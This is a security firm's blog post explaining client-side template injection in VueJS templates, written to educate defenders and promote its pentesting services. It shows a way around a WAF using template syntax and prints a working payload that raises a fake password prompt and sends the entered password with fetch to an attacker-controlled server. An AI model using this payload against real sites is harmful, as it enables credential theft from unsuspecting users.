What Is Client-Side Template Injection (CSTI)?

During our work, we come across an enormous number of vulnerabilities. At Tozetta, we find it extremely important to also share our knowledge and expertise. In this blog, we tell you more about a Client-Side Template Injection (CSTI). With this knowledge blog, we hope to help you further in the world of hacking and cyber security. Want to stay continuously up to date on the latest security updates? Sign up for our weekly Vulnerability Update.

What Is Client-Side Template Injection (CSTI)?

Client-Side Template Injection (CSTI) is a vulnerability that occurs when a web application renders user input in client-side templates without taking the necessary security measures. This vulnerability can be exploited to inject malicious code into a user's web page, which can lead to various harmful activities such as stealing session cookies and carrying out unintended actions on behalf of the user.

How Does CSTI Work?

Modern web applications often use templates to display dynamic content on web pages. Frameworks such as AngularJS, VueJS, Mavo, and other JavaScript templating engines are used to generate this content. When input is processed directly into these templates without proper validation or sanitizing, malicious users can exploit this vulnerability by injecting specific code that gets executed by the user's browser.

As a malicious user, in this case, you could first try XSS payloads. As we see in the example below, the error page is shown as soon as the profile is saved and a WAF has set a rule that flags certain characters.

As soon as an XSS payload like this is entered, you may see the following error.

In this example, VueJS is also used on the web app. So we could try CSTI. As soon as we give {{}} as input, we see that we don't get an error page.

As soon as we try our very first payload, we immediately get a popup. We've just used a POC payload to trigger CSTI.

What Is the Risk of CSTI?

A fun little alert(1) popup is nice, but now what?

It's possible, for example, to steal cookies by pasting document.cookie into JavaScript and sending it to a web server we control ourselves. This would require httponly to be off. In this case, it was on, so we couldn't access the session cookies. In this case, we could instead create a popup asking the user to enter their password. We could do this with a payload like the one below:

{{constructor.constructor("fetch('https:///password', { method: 'POST', body: JSON.stringify({ password: prompt('Enter your password to continue:') }) })")()}}

As soon as this payload is sent to the server, we see that the entered password arrives at our controlled server. This password could later be used for malicious purposes by cybercriminals.

Want to try a CSTI yourself? Check it out here

Stay Up to Date on the Latest Vulnerabilities?

Every day, 50+ vulnerabilities are added to the Common Vulnerabilities and Exposures database (CVEs). It's nearly impossible to stay up to date on all these vulnerabilities on your own. Still, at Tozetta, we try to structurally expose vulnerabilities in your software and systems. We offer our weekly Vulnerability Update for free, where we share articles like this one every week.

But if you want to know more about structurally exposing vulnerabilities in software and systems, read more about our Hacking as a Service solution. Besides regular pentesting, we also offer a security monitoring tool that scans your web applications and/or internal network daily for these numerous CVEs.

Or read more about Hacking as a Service >>